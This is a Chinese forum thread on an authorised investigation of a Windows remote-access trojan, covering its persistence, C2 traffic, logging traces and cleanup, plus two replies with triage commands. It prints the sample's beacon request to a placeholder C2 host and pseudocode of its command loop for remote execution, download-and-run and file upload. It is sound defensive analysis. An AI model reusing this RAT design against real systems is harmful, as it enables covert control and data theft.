跳转到帖子

逆向木马远控样本:从自启动、C2 通信到日志留痕的实战排查

精选回复

发布于

背景最近在一次授权内网排查中,某 Windows 业务终端出现异常外联:固定间隔访问境外 VPS 的 8443 端口,同时本机没有明显的业务服务。初步看像远控木马的心跳通信。这里记录一次偏实战的逆向分析和处置过程,重点放在样本行为、C2 通信、权限边界和日志留痕,不涉及攻击投放。环境说明:分析在隔离虚拟机中完成,样本来自客户授权排查现场;网络使用 FakeDNS + INetSim 模拟,避免真实外联。问题定位现场最先发现的问题来自防火墙外联日志,目标 IP 固定,目的端口为 8443,访问周期约 60 秒。终端侧用 Sysmon 和 PowerShell 交叉确认进程链路。Get-NetTCPConnection -State Established |
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess |
Sort-Object RemoteAddress

Get-Process -Id 4280 | Format-List *

wmic process where processid=4280 get ProcessId,ParentProcessId,CommandLine,ExecutablePath结果显示可疑进程路径位于:C:\\Users\\Public\\Libraries\\svhost.exe这里有两个明显异常点:文件名伪装为 svhost.exe,容易和系统进程 svchost.exe 混淆;运行目录在 Users\\Public 下,正常系统服务不应从该路径启动;父进程为 explorer.exe,说明更像用户态持久化启动,不是正常服务启动链。技术分析先做静态信息提取,避免直接运行样本。certutil -hashfile C:\\Users\\Public\\Libraries\\svhost.exe SHA256
sigcheck.exe -m C:\\Users\\Public\\Libraries\\svhost.exe
strings64.exe -n 6 C:\\Users\\Public\\Libraries\\svhost.exe | findstr /i \"http tcp cmd shell key mutex\"关键发现如下:样本无有效数字签名;PE 编译时间异常,疑似被修改;字符串中存在 /gate.php、cmd.exe /c、Software\\Microsoft\\Windows\\CurrentVersion\\Run;存在互斥体字符串 Global\\MSUpdate_6D2F,用于避免重复运行。通过 Detect It Easy 初看壳特征不明显,但导入表较少,重点导入了 WinHttpOpen、WinHttpConnect、WinHttpSendRequest、CreateProcessW、RegSetValueExW、VirtualAlloc 等 API。结合行为基本可以判断是轻量级远控 Loader 或简化 RAT。自启动与权限边界注册表排查确认存在用户级自启动项:reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /s

# 现场发现
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
WindowsHost REG_SZ C:\\Users\\Public\\Libraries\\svhost.exe这里要注意权限边界:样本没有拿到管理员权限,因此没有写入 HKLM,也没有创建系统服务,而是落在 HKCU\\Run。这类远控在内网里很常见,隐蔽性不强,但容易长期存活,因为用户登录后会自动拉起。继续排查计划任务和服务,确认没有额外持久化:schtasks /query /fo LIST /v | findstr /i \"svhost public libraries\"
sc query state= all | findstr /i \"svhost public libraries\"C2 通信行为在隔离环境运行样本,使用 FakeDNS 将域名指向本地分析机,并通过 Wireshark 和 INetSim 观察通信。样本每 60 秒发起一次 HTTP POST,请求路径固定:POST /gate.php HTTP/1.1
Host: update-check.example
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96

id=DESKTOP-9F31A2&u=jack&os=Windows10&priv=user&ver=1.4&act=ping该通信没有真正使用 TLS,仅通过 8443 端口伪装 HTTPS 服务。回包如果是 200 OK 且 body 中存在特定字段,样本会进入命令处理分支。逆向时在 IDA 里能看到大致逻辑:while (true) {
sleep(60000);
data = build_host_profile();
resp = http_post(c2, \"/gate.php\", data);

if (starts_with(resp, \"CMD:\")) {
run_cmd(resp + 4);
} else if (starts_with(resp, \"DL:\")) {
download_and_exec(resp + 3);
} else if (starts_with(resp, \"UP:\")) {
upload_file(resp + 3);
}
}命令执行分支调用了 CreateProcessW,参数形式接近:cmd.exe /c <remote_command>因此可以重点关注命令行审计日志、PowerShell 日志、Sysmon Event ID 1。如果远控下发了横向移动命令,也会在这些位置留下痕迹。操作步骤:现场排查清单以下步骤适合在授权应急或渗透复盘中使用,目标是确认远控是否存在、是否落地、是否执行过命令。1. 确认可疑进程与网络连接netstat -ano | findstr \"8443\"
tasklist /fi \"PID eq 4280\"
wmic process where processid=4280 get ProcessId,ParentProcessId,CommandLine,ExecutablePath2. 导出样本并计算哈希copy C:\\Users\\Public\\Libraries\\svhost.exe D:\\evidence\\svhost.exe
certutil -hashfile D:\\evidence\\svhost.exe SHA256 > D:\\evidence\\hash.txt3. 检查自启动项reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /s
reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /s
schtasks /query /fo LIST /v
wmic service get Name,DisplayName,PathName,StartMode | findstr /i \"public svhost\"4. 检查日志留痕如果部署了 Sysmon,重点看这些事件:Event ID 1:进程创建,确认是否执行过 cmd.exe、powershell.exe、net.exe、wmic.exe;Event ID 3:网络连接,确认 C2 地址和连接周期;Event ID 11:文件创建,确认是否下载二阶段载荷;Event ID 13:注册表修改,确认 Run 项写入时间;PowerShell 快速检索示例:Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
Where-Object { $_.Message -match 'svhost.exe|cmd.exe|powershell.exe|wmic.exe' } |
Select-Object TimeCreated, Id, ProviderName, Message |
Out-File D:\\evidence\\sysmon_process.txt

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=3} |
Where-Object { $_.Message -match '8443|update-check' } |
Select-Object TimeCreated, Id, Message |
Out-File D:\\evidence\\sysmon_network.txt5. 提取 IOC类型内容文件路径C:\\Users\\Public\\Libraries\\svhost.exe注册表HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsHost互斥体Global\\MSUpdate_6D2F请求路径/gate.php可疑端口8443命令执行cmd.exe /c风险与修复建议处置时不建议直接删除文件就结束,至少要做三件事:断外联、保全证据、确认是否有二阶段行为。先隔离主机网络,避免继续连接 C2;保留样本、注册表导出、进程列表、网络连接、Sysmon 日志;删除 HKCU\\Run 自启动项后再清理落地文件;回溯该用户最近下载、邮件附件、浏览器缓存和压缩包解压记录;检查是否存在新增本地用户、异常 RDP 登录、SMB 横向访问;对同网段主机批量检索相同路径、哈希、C2 域名和请求路径。清理命令示例:reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsHost /f

taskkill /pid 4280 /f

del /f /q C:\\Users\\Public\\Libraries\\svhost.exe如果确认样本执行过远程命令,需要进一步处理账号风险:修改该用户密码,检查域控登录日志,排查是否有凭据抓取工具落地。远控本身只是入口,真正的风险往往在后续命令执行和横向移动。加固建议开启 PowerShell Script Block Logging 和 Module Logging;部署 Sysmon,并至少记录进程创建、网络连接、注册表修改和文件创建;限制普通用户对公共目录的可执行文件运行,可结合 AppLocker 或 WDAC;代理或防火墙侧限制终端直连公网高危端口,尤其是非业务必要的 8443、8080、9001 等;对 Users\\Public、AppData\\Roaming、Temp 下的 EXE 启动建立告警规则;EDR 规则中关注 伪系统进程名 + 用户目录启动 + 周期性外联 组合行为。总结这类远控木马技术复杂度不一定高,但在内网里很实用:用户级自启动、伪装系统进程、固定心跳、远程命令执行,足够完成长期控制。分析时不要只看样本本身,还要结合进程链、注册表、网络日志和命令执行痕迹。处置时也不要只删文件,应回溯 C2 通信时间线,确认是否发生过二阶段下载、权限提升或横向移动。

逆向分析与样本观察示意图
逆向分析、样本行为与调试流程示意

这类样本建议先别急着“逆完全部逻辑”,先把自启动点、网络行为、落地文件和日志时间线串起来,基本能还原 70% 以上的行为链。

1. 自启动排查可以按优先级扫这些位置

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"

schtasks /query /fo LIST /v

wmic startup get Caption,Command,Location,User
wmic service get Name,DisplayName,PathName,StartMode | findstr /i "auto"

远控样本常见做法是把自身复制到:

%APPDATA%
%LOCALAPPDATA%
%TEMP%
%PROGRAMDATA%
%PUBLIC%

如果发现 Run 项或计划任务指向这些目录,并且文件名伪装成 svchost.exe、RuntimeBroker.exe、OneDriveUpdate.exe 这类,就值得重点看。

2. C2 通信建议同时做静态和动态确认

静态先用字符串快速筛:

strings -n 6 sample.exe | findstr /i "http https tcp udp ws:// wss:// .php .asp .jsp .json api gate panel"

如果样本做了简单混淆,可以重点看这些 API 调用附近的交叉引用:

WinHttpOpen
WinHttpConnect
WinHttpSendRequest
InternetOpenA/W
InternetConnectA/W
HttpSendRequestA/W
WSAStartup
socket
connect
send
recv
gethostbyname
DnsQuery_A/W

动态分析时建议在隔离网络里跑,配合 FakeNet-NG 或 INetSim。Windows 上可以直接先抓连接:

netstat -ano | findstr ESTABLISHED
tasklist /fi "PID eq <pid>"

Get-NetTCPConnection | Sort-Object State,RemoteAddress | Format-Table -Auto

如果有 Sysmon,网络连接事件可以直接查 Event ID 3:

Get-WinEvent -FilterHashtable @{
  LogName='Microsoft-Windows-Sysmon/Operational';
  Id=3
} | Select-Object TimeCreated,Message | more

重点看:首次连接时间、目标 IP/域名、端口、User-Agent、URI 路径、POST 包内容、心跳周期。很多远控会有固定 beacon 间隔,比如 30s/60s,并且 URI 路径比较固定。

3. 日志留痕建议按时间线查

如果你知道样本首次执行时间,可以从这个时间点前后 5~10 分钟拉日志:

wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:50
wevtutil qe System /q:"*[System[(EventID=7045)]]" /f:text /c:50
wevtutil qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:100

几个关键事件:

  • 4688:进程创建,确认父子进程关系;
  • 7045:新服务安装;
  • 4698:计划任务创建;
  • 4624:异常登录,尤其是 Type 3 / Type 10;
  • Sysmon 1:进程创建;
  • Sysmon 3:网络连接;
  • Sysmon 11:文件创建;
  • Sysmon 13:注册表修改。

4. 逆向时可以重点看配置解密和命令分发

远控样本一般会有一段配置区,里面存 C2、端口、分组 ID、互斥体、安装路径。可以在 IDA/Ghidra 里从网络 API、注册表 API、文件写入 API 反推配置加载函数。

常见可疑 API:

CreateMutexA/W
RegSetValueExA/W
CreateServiceA/W
ShellExecuteA/W
CreateProcessA/W
URLDownloadToFileA/W
WriteFile
GetModuleFileNameA/W
GetTempPathA/W
GetUserNameA/W
GetComputerNameA/W

如果看到大量 xor、rol/ror、base64、CryptStringToBinary 之类逻辑,优先把解密函数单独抠出来跑,拿到明文配置后再继续分析会省很多时间。

5. 最后输出排查结论时建议固定格式

样本哈希:
首次执行时间:
父进程:
落地路径:
自启动方式:
C2 地址:
通信协议:
心跳周期:
创建文件:
修改注册表:
相关日志事件:
处置建议:

这样后续无论是写分析报告,还是给应急同学做 IOC,都比较清晰。这里最关键的是把“自启动点”和“首次 C2 连接”对应到同一个时间线,能证明样本不是孤立文件,而是确实执行并建立了远控链路。

前面的自启动点排查完成后,建议把重点放到“进程—连接—落地文件—日志”四条线的关联上。远控样本经常不直接由启动项拉起,而是通过正常进程注入、服务宿主或计划任务的子进程建立 C2,所以单看 Run 键容易漏掉关键链路。

先在隔离主机上记录当前连接及对应 PID,优先保留现场,不要马上结束进程:

netstat -ano | findstr /i "ESTABLISHED SYN_SENT"
tasklist /svc
tasklist /m
powershell -NoProfile -Command "Get-NetTCPConnection | Sort-Object State,RemoteAddress | Format-Table -AutoSize"

拿到 PID 后继续反查命令行、父进程、执行路径和加载模块。下面这段 PowerShell 在原生系统上就够用:

$pid = 1234

Get-CimInstance Win32_Process -Filter "ProcessId=$pid" |
    Select-Object ProcessId,ParentProcessId,Name,ExecutablePath,CommandLine

Get-Process -Id $pid -Module -ErrorAction SilentlyContinue |
    Select-Object ModuleName,FileName

Get-CimInstance Win32_Process -Filter "ParentProcessId=$pid" |
    Select-Object ProcessId,Name,ExecutablePath,CommandLine

重点关注这些异常组合:用户目录或临时目录下的可执行文件、签名正常但命令行参数异常的系统进程、父进程为 Office/浏览器/脚本解释器、连接目标为固定公网 IP 而不是域名,以及进程启动后短时间内出现 DNS、TCP、文件写入行为。不要只按文件名判断,至少计算哈希并检查签名:

Get-FileHash "C:\path\sample.exe" -Algorithm SHA256
Get-AuthenticodeSignature "C:\path\sample.exe" |
    Format-List Status,StatusMessage,SignerCertificate

Get-ChildItem "$env:TEMP","$env:APPDATA","$env:LOCALAPPDATA" -Recurse -File `
    -ErrorAction SilentlyContinue |
    Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} |
    Sort-Object LastWriteTime -Descending |
    Select-Object -First 100 FullName,Length,CreationTime,LastWriteTime

逆向时建议优先从网络 API 和字符串入手,而不是一开始就完整跟控制流。可以在导入表、交叉引用和调用参数中查找 WinHttp、WinINet、WS2_32、DnsQuery、InternetOpen、WinHttpConnect、connect、send、recv 等调用。重点记录以下字段:

  • 域名、IP、端口及 DNS 查询顺序;
  • HTTP 方法、URI、Host、User-Agent、Content-Type;
  • 心跳间隔、重连退避、首次上线参数;
  • 是否存在固定 Magic、长度字段、版本号或加密前缀;
  • 配置是否经过 Base64、XOR、RC4/AES 或简单字符串拼接。

如果是 HTTPS,不建议直接把抓包内容当成“不可分析”。先从样本配置、内存中的解密结果、TLS 连接元数据和 DNS 时间线入手;在受控实验环境里也可以用代理配合测试证书观察请求,但不要在生产终端导入抓包证书。对于只需要确认 C2 的场景,目的地址、连接周期、SNI、进程 PID 和首次连接时间通常已经足够形成 IOC。

日志侧建议至少核对以下事件。若已部署 Sysmon,优先看进程创建、网络连接、文件落地和注册表修改:

  • Security 4688:进程创建及命令行;
  • Sysmon 1:Process Create;
  • Sysmon 3:Network Connection;
  • Sysmon 11:FileCreate;
  • Sysmon 12/13/14:注册表对象创建和修改;
  • Security 4698/4702:计划任务创建和更新;
  • Security 7045 或 System 7045:服务安装。

可以先用事件时间范围把样本启动前后各扩展 5 到 10 分钟,再按 PID、文件名和目标 IP 关联,而不是只搜样本名称:

wevtutil qe Microsoft-Windows-Sysmon/Operational ^
  /q:"*[System[(EventID=1 or EventID=3 or EventID=11)]]" ^
  /f:text /rd:true /c:200

wevtutil qe Security ^
  /q:"*[System[(EventID=4688 or EventID=4698 or EventID=4702)]]" ^
  /f:text /rd:true /c:200

wevtutil qe System ^
  /q:"*[System[(EventID=7045)]]" ^
  /f:text /rd:true /c:100

最后把时间线整理成类似“21:03 创建文件 → 21:04 注册持久化 → 21:04 进程启动 → 21:04 DNS 查询 → 21:05 连接 C2 → 21:06 写入配置/二阶段文件”的形式,再去验证逆向结论。这样即使样本有混淆、延迟执行或部分功能未触发,也能先确认真实影响范围,并据此提取域名、IP、路径、哈希和持久化特征用于封禁和排查同网段主机。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。